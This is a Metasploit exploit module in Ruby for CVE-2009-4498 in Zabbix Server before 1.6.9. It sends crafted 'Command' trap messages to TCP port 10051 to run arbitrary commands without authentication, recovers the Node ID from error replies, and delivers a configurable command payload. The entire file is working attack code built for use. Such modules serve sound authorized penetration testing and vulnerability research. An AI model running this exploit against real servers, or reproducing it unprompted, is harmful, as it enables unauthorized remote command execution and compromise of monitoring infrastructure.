##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zabbix Server Arbitrary Command Execution',
      'Description'    => %q{
          This module abuses the "Command" trap in Zabbix Server to execute arbitrary
        commands without authentication. By default the Node ID "0" is used, if it doesn't
        work, the Node ID is leaked from the error message and exploitation retried.

        According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
        has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
      },
      'Author'         =>
        [
          'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-4498' ],
          [ 'OSVDB', '60965' ],
          [ 'BID', '37989' ],
          [ 'EDB', '10432' ],
          [ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet',
              # *_perl, *_python and *_ruby work if they are installed
            }
        },
      'Targets'        =>
        [
          [ 'Zabbix 1.6.7', { } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate'  => 'Sep 10 2009'
    ))

    register_options(
      [
        Opt::RPORT(10051),
      ])
  end

  def send_command(sock, node_id, cmd)
    host_id = Rex::Text.rand_text_numeric(3)
    msg = "Command\255"
    msg << "#{node_id}\255"
    msg << "#{host_id}\255"
    msg << "#{cmd}\n"
    sock.put(msg)
    res = sock.get_once
    return res
  end

  def check
    peer = "#{rhost}:#{rport}"
    node_id = 0
    clue = Rex::Text.rand_text_alpha(rand(5)+5)
    cmd = "echo #{clue}"

    connect
    vprint_status("Sending 'Command' request...")
    res = send_command(sock, node_id, cmd)
    disconnect

    if res
      vprint_status(res)
      if res =~ /#{clue}/
        return Exploit::CheckCode::Vulnerable
      elsif res =~ /-1/ and res=~ /NODE (\d*)/
        node_id = $1
        vprint_good("Node ID #{node_id} discovered")
      else
        return Exploit::CheckCode::Safe
      end
    else # No response
      return Exploit::CheckCode::Safe
    end

    # Retry with the good node_id
    connect
    vprint_status("Sending 'Command' request with discovered Node ID...")
    res = send_command(sock, node_id, cmd)
    disconnect
    if res and res =~ /#{clue}/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    peer = "#{rhost}:#{rport}"
    node_id = 0
    cmd = payload.encoded

    connect
    print_status("Sending 'Command' request...")
    res = send_command(sock, node_id, cmd)
    disconnect

    if res and res =~ /-1/ and res=~ /NODE (\d*)/
      # Retry with the good node_id
      node_id = $1
      print_good("Node ID #{node_id} discovered")
      connect
      print_status("Sending 'Command' request with discovered Node ID...")
      res = send_command(sock, node_id, cmd)
      disconnect
    end

    # Read command output from socket if cmd/unix/generic payload was used
    if (datastore['CMD'])
      if res and res =~ /\x30\xad/
        print_good("Command executed successfully")
        print_status("Output:\n#{res.split("\x30\xad").last}")
      else
        print_error("Failed to execute the command")
      end
    end

  end
end
